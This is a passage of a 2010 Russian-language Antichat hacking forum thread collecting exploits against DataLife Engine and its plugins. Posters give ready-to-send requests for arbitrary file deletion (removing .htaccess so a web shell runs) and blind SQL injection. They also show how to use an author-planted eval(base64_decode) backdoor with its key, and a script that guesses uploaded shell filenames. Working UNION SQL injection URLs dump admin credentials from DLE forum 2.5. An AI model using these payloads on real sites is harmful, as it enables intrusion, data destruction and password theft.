[ Обзор уязвимостей DataLife Engine ]

Discussion in 'Веб-уязвимости' started by Solide Snake, 28 Oct 2007.

  1. korp

    korp New Member

    Joined:
    26 Sep 2008
    Messages:
    29
    Likes Received:
    4
    Reputations:
    0
    Вроде есть 1 файл в котором нет проверки на группу пользователя, только проверка хеша.
    Кто что знает? Я порылся что-то нашёл, на этом и закончил.
     
  2. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Откуда цитата? Прчему здесь key из конфига?
    непонетно

    \\все, ншел - http://dle.in.ua/bags/9503-seryoznaya-uyazvimost-v-null-versiyax.html


    \\кажется, знаю, откуда урки растут у бага
     
    #142 wildshaman, 14 Jun 2010
    Last edited: 14 Jun 2010
  3. WP_

    WP_ Banned

    Joined:
    28 Sep 2008
    Messages:
    9
    Likes Received:
    1
    Reputations:
    0
    Багу нашел: Lion__
    Связь: 9287[шесть]78
    Зовут его если не ошибаюсь Андрей
     
    #143 WP_, 14 Jun 2010
    Last edited: 14 Jun 2010
  4. slva2000

    slva2000 New Member

    Joined:
    20 Nov 2009
    Messages:
    42
    Likes Received:
    2
    Reputations:
    0
    wildshaman
    что то я не понял пока... если лицуха (т.е. кей есть в конфиге) то уязвимости нет....?
     
  5. WP_

    WP_ Banned

    Joined:
    28 Sep 2008
    Messages:
    9
    Likes Received:
    1
    Reputations:
    0
    наоборот !
    нужно поменять на свой key
     
  6. slva2000

    slva2000 New Member

    Joined:
    20 Nov 2009
    Messages:
    42
    Likes Received:
    2
    Reputations:
    0
    но тогда - wrong key....
     
  7. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Ну и да, в результате ночи копания накопал:
    Уязвимости нету.
    ПО мнению автора, $config['key'] мог помочь сгенерировать $dle_login_hash и заюзать xsrf или просто оойти проверку.
    Только он вот не учел, что для генерации хеша нужен еще и сам пасс админа.
    Так что отбой, баги нет :)

    //Развели тут блин...
     
    #147 wildshaman, 14 Jun 2010
    Last edited by a moderator: 15 Jun 2010
  8. slva2000

    slva2000 New Member

    Joined:
    20 Nov 2009
    Messages:
    42
    Likes Received:
    2
    Reputations:
    0
    могу добавить, что перед проверкой ХЭШа стоит проверка админ ли...:

    if (( $member_id['user_group'] != 1 )) { die ("error"); }

    Ничего не выйдет.... Хотя, инфа к размышлению не плохая.

    всё это в clean.php
     
  9. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Версия ДЛЕ: 8.5 (скорее всего, и преыдущие, но тестил именно на 8.5)


    Везде далее:
    1){ВАШ ЮЗЕР ХЕШ} - уникальный хеш, который вы получаете при входе в дадминку. Как правило, при переходе по страницам админки он передается гетом в урле, там его и берите. Или же заходите на страницу настроек, к примеру, и ищите в коде user_hash - там он и будет
    2)лишние куски кода удалены, оставлены только самые важные, играющие роль при уязвимости.

    ---------------------------------------------------------------------------------------------------------------------------------------------------
    ---------------------------------------------------------------------------------------------------------------------------------------------------

    Описание: Удаление произвольных файлов
    Зависимость: Нужны админские права
    Файл: /engine/inc/files.php
    Кусок кода:
    PHP:
    if( $action == "doimagedelete" ) {
        foreach ( 
    $_POST['images'] as $image ) {
            @
    unlink$config_path_image_upload $image );
            @
    unlink$config_path_image_upload "thumbs/" $image );
        }
    }
    Как осуществить:
    Залогинившись админом, послать post запрос:
    http://site.com/admin.php?mod=files

    images%5Bboxsmall.jpg%5D=../uploads/files/.htaccess&action=doimagedelete&userdir=&user_hash={ВАШ ЮЗЕР ХЕШ}

    Смысл:
    1) Можно удалить .htaccess из папки uploads, загрузить туда шелл и видеть его из веба :)
    2) Можно помешать работе сайта, удалив важыне файлы.

    ---------------------------------------------------------------------------------------------------------------------------------------------------
    ---------------------------------------------------------------------------------------------------------------------------------------------------

    Описание: раскрытие префикса БД.
    Зависимость: Права журналиста или администратора (любой доступ в админку)
    Файл: /engine/inc/files.php
    Кусок кода:
    PHP:
    $serverfile trimhtmlspecialcharsstrip_tags$_POST['serverfile'] ) ) );
    $image_name $serverfile;
    if( 
    $config['files_allow'] == "yes" and $user_group[$member_id['user_group']]['allow_file_upload'] and $_REQUEST['action'] == "quick" and (in_arraystrtolower$type ), $allowed_files ) or $serverfile != '') )
    $db->query"INSERT INTO " PREFIX "_files (news_id, name, onserver, author, date) values ('$news_id', '$image_name', '{$file_prefix}{$image_name}', '$author', '$added_time')" );
    Как осуществить:
    Залогинившись админом, послать post запрос:
    http://hackhack/admin.php?mod=files&action=quick&subaction=upload

    images_number=1&serverfile=\

    ---------------------------------------------------------------------------------------------------------------------------------------------------
    ---------------------------------------------------------------------------------------------------------------------------------------------------

    Описание: Получение названия загруженного файла (шелла, к примеру) через форму заливки
    Зависимость: Права админа или журналиста с разрешением аливать файлы чреез админку
    Файл: /admin.php?mod=files
    Кусок кода:
    PHP:
    $file_prefix time() + rand1100 );
    $file_prefix .= "_";
    @
    copy$imageurlROOT_DIR "/uploads/files/" $file_prefix $image_name )
    Ага, пишется: unixtime+{случайное число от 1 до 100}_названиефайлачтомывыгрузили

    Отсылаем файл, снифаем, что вернул сервер:
    Date: Mon, 14 Jun 2010 07:35:04 GMT

    делаем себе
    PHP:
    for($i=0$i<=100$i++)
    {
        
    $name=strtotime("Mon, 14 Jun 2010 07:35:04 GMT")+$i;
        echo 
    $name."<br>";
    }
    Генерируем все возможные нвазвания нашего файла, потом просто перебираем их.

    ---------------------------------------------------------------------------------------------------------------------------------------------------
    ---------------------------------------------------------------------------------------------------------------------------------------------------

    Описание: Blind-sql
    Зависимость: magic_quotes_gpc = off и админские права
    Файл: /engine/ajax/clean.php
    Кусок кода:
    PHP:
    if ($_REQUEST['step'] == 2) {
        if ((@
    strtotime($_REQUEST['date']) === -1) OR (trim($_REQUEST['date']) == ""))
            
    $_REQUEST['step'] = 1;
        else {
            
    $_REQUEST['step'] = 3;
            
    $sql $db->query("SELECT id FROM " PREFIX "_post WHERE date < '{$_REQUEST['date']}'");
            while(
    $row $db->get_row($sql)){
                
    $db->query("DELETE FROM " PREFIX "_comments WHERE post_id='{$row['id']}'");
    Как осуществить:
    http://site.com/engine/ajax/clean.php?date=1'&user_hash={ВАШ ЮЗЕР ХЕШ}&step=2

    P.S. Обыная скуля с юнионом не пройдет, так как полученная инфа сразу уходит в DELETE :( Кому надо - тот докрутит ;)

    ---------------------------------------------------------------------------------------------------------------------------------------------------
    ---------------------------------------------------------------------------------------------------------------------------------------------------

    Версии ДЛЕ ДО 8.5
    Описание: редактирование настроек системы, имея лишь ограниченный (модерский) доступ в админку
    Зависимость: Доступ в админку хотя бы с правами журналиста
    Файл: /engine/inc/options.php
    Кусок кода:
    PHP:
    elseif( $action == "dosavesyscon" ) {
        $save_con = $_POST['save_con'];
        $save_con['offline_reason'] = $parse->process( stripslashes( trim( $save_con['offline_reason'] ) ) );
        $save_con['offline_reason'] = str_replace( '"', '&quot;', $parse->BB_Parse( $save_con['offline_reason'], false ) );
        
        $find[] = "'\r'";    $replace[] = "";    $find[] = "'\n'";    $replace[] = "";
        $handler = fopen( ENGINE_DIR . '/data/config.php', "w" );
        
        fwrite( $handler, "<?PHP \n\n//System Configurations\n\n\$config = array (\n\n" );
        
    foreach ( $save_con as $name => $value ) {
            if( 
    $name != "offline_reason" ) {
                
    $value trimstripslashes$value ) );
                
    $value htmlspecialchars$value);
                
    $value preg_replace$find$replace$value );
                
                
    $name trimstripslashes$name ) );
                
    $name htmlspecialchars$nameENT_QUOTES );
                
    $name preg_replace$find$replace$name );
            }

            
    fwrite$handler"'{$name}' => \"{$value}\",\n\n" );
        
        }
        
    fwrite$handler");\n\n?>" );
        
    fclose$handler );
    }
    Как осуществить:
    Авторизовавшись в админке, делаем POST запрос
    http://site.com/admin.php?mod=options&action=syscon
    save_con%5Bhome_title%5D=GREAT HACK HOHOHOH&mod=options&action=dosavesyscon&user_hash={ВАШ ЮЗЕР ХЕШ}

    причем настроек поменять можно множество вплоть до оотключения сайта ;)

    ---------------------------------------------------------------------------------------------------------------------------------------------------
    ---------------------------------------------------------------------------------------------------------------------------------------------------

    Описание: раскрытие путей
    1) Требуется админка
    http://site.com/admin.php?mod=static&search_field[]=

    2) Админка не требуется, праа Юзерские

    http://site.com/?do=addnews
    POST
    tags[]=1&mod=addnews


    http://site.com/index.php
    POST
    login=submit&login_password[]=1

    ---------------------------------------------------------------------------------------------------------------------------------------------------
    (c) wildshaman 2010. Special for Antichat
     
    15 people like this.
  10. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Модуль Hide v.4.2 для DLE
    Описание: выполнение произвольного кода (бекдор оставил автор)
    Зависимость: аккаунт юзера
    Файл: engine/modules/hide_news.php
    Кусок кода:
    PHP:
    if(md5(md5($_GET['conf_key'])) == $sets['key']){ eval(base64_decode($_GET['user_id'])); }
    key записывается в конфиге после любого изменения настроек модуля в админке, причем строго указан - d5bb5b454e4310d06746d9325b1c1968

    Как осуществить:
    http://site.com/?newsid=XXXX&conf_key=fibona4i&user_id=cGhwaW5mbygpOw==
    Где XXX - айди существующей новости, а user_id - забейсенный php код (в данном случае пхпинфо)

    DLE forum 2.5 (дырявый, как сито)
    Описание: sql-инъекция
    Зависимость: register_globals = on
    Файл: engine/forum/sources/showtopic.php
    Кусок кода:
    PHP:
    if (intval($tid))
    $row_topic $db->super_query("SELECT * FROM " PREFIX "_forum_topics WHERE tid = $tid");
    Как осуществить:
    http://site.com/?do=forum&act=topic&tid=1+[SQL]
     
    #150 wildshaman, 17 Jun 2010
    Last edited: 18 Jun 2010
    7 people like this.
  11. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    Не понятно, как здесь возможна инъекция, если переменная $tid проходит через intval()?
     
  12. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196

    очевидно, что неправильно интвалят.

    Нужно так

    PHP:
    $tid intval($tid);
     
    2 people like this.
  13. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    if (intval($tid)) - думаю тут уязвимое место, т.к. не явно интвалица, а проверяется условием, сооветственно такое 1gsdkjgfdsk - прокатит, проверочный код:
    PHP:
    <?php
    $a 
    "1gsdkjgfdsk";
    if(
    intval($a)) echo "Циферька";
    else echo 
    "ТЕКСТ детектед!";
    ?>
    Причем дыра старая и известна уже давно
     
    1 person likes this.
  14. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    Посмотрел исходники этого скрипта (dle forum 2.5 final nulled by pigini)
    /engine/forum/sources/showtopic.php
    PHP:
    1:    <?php
    2
    :    /*
    3:    =====================================================
    4:     File: showtopic.php
    5:    =====================================================
    6:    */
    7:    
    8:    if(!defined('DATALIFEENGINE'))
    9:    {
    10:      die("Hacking attempt!");
    11:   }
    12:  
    13:        if (intval($tid))
    14:        {
    15:          $row_topic $db->super_query("SELECT * FROM " PREFIX "_forum_topics WHERE tid = $tid");
    /*...*/
    537:       }
    538:  ?>
    думаю видно, что переменная $tid в любом случае проходит через intval()
     
    2 people like this.
  15. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 RulleR:

    ну запусти проверочный код, поймешь
     
  16. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Создай на локалке такой код

    PHP:
     if (intval($tid)){    echo "прошли";}
    И передай

    file.php?tid=1+lololo+trololo

    Пашкелла-же написал об этом
    =====================

    // Ctacok не три посты с обсуждением
    // Ок, да они вроде разобрались уже. Ctacok
     
    #156 Kakoytoxaker, 18 Jun 2010
    Last edited by a moderator: 19 Jun 2010
    2 people like this.
  17. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    DLE forum 2.5 - скачать отсюдо
    Я посмотрел. Там только одна зависимость rg=on так как плагин древний.
    Code:
    http://localhost/DLE8.3/?do=forum&act=topic&tid=1+and+1=%28select%20count%28*%29%20from%20%28select%201%20union%20select%202%20union%20select%203%29x%20group%20by%20concat%28version%28%29,floor%28rand%280%29*2%29%29%29
    Можно крутить как быстрый блинд, есть вывод ошибки.
    Вывода нормального у мну небыло:

    http://localhost/DLE8.3/?do=forum&act=topic&tid=1+order+by+1--+

    MySQL Error!
    ------------------------

    The Error returned was:
    Unknown column '1' in 'order clause'

    Error Number:
    1054

    ага и так:
    http://localhost/DLE8.3/?do=forum&act=topic&tid=-1+union+select+1,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24

    вывод в <title> - 3 поле.
     
    #157 Strilo4ka, 18 Jun 2010
    Last edited: 18 Jun 2010
  18. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    C интвалом разобрался, спасибо. Потестил узвимость на локалхосте, срабатывает только при register_globals = On
    Code:
    http://[host]/[path]/index.php?do=forum&act=topic&tid=1+and+1=2+union+select+1,2,concat_ws(0x3a,name,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+dle_users+where+user_id=1
     
    #158 RulleR, 18 Jun 2010
    Last edited: 22 Jun 2010
    7 people like this.
  19. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Упс, большое спасибо, у меня на денвере rg=on стояло для тестов, а я забыл про это (
    Думал, там $tid передается при инклуде, просмотрел, спасибо.
    Дописал в пост.
     
    1 person likes this.
  20. RAISh

    RAISh New Member

    Joined:
    30 Apr 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    В админке разрешаешь заливку php файлов, добавляешь новость и прикрепляешь файл к ней, т.е. сам шелл и всё. После смотришь имя, которое ему присвоилось таким способом:
    Описание: Получение названия загруженного файла (шелла, к примеру) через форму заливки
    Зависимость: Права админа или журналиста с разрешением заливать файлы через админку
    Файл: /admin.php?mod=files
    Кусок кода:

    PHP:
    $file_prefix time() + rand1100 ); 
    $file_prefix .= "_"
    @
    copy$imageurlROOT_DIR "/uploads/files/" $file_prefix $image_name )
    Ага, пишется: unixtime+{случайное число от 1 до 100}_название_файла_что_мы_выгрузили

    Отсылаем файл, снифаем, что вернул сервер:
    Date: Mon, 14 Jun 2010 07:35:04 GMT

    делаем себе
    PHP:
     for($i=0$i<=100$i++) 

        
    $name=strtotime("Mon, 14 Jun 2010 07:35:04 GMT")+$i
        echo 
    $name."<br>"
    }  
    Генерируем все возможные нвазвания нашего файла, потом просто перебираем их.

    by wildshaman

    И ещё есть 1 способ, возможно его кто нибудь уже писал, но я не видел, сам лично узнал о нём. Заходишь в админке в антивирус, и там загружается список подозрительных файлов, и среди них найди название своего шелла, и там будет путь указан!
     
    #160 RAISh, 22 Jun 2010
    Last edited by a moderator: 15 Jul 2010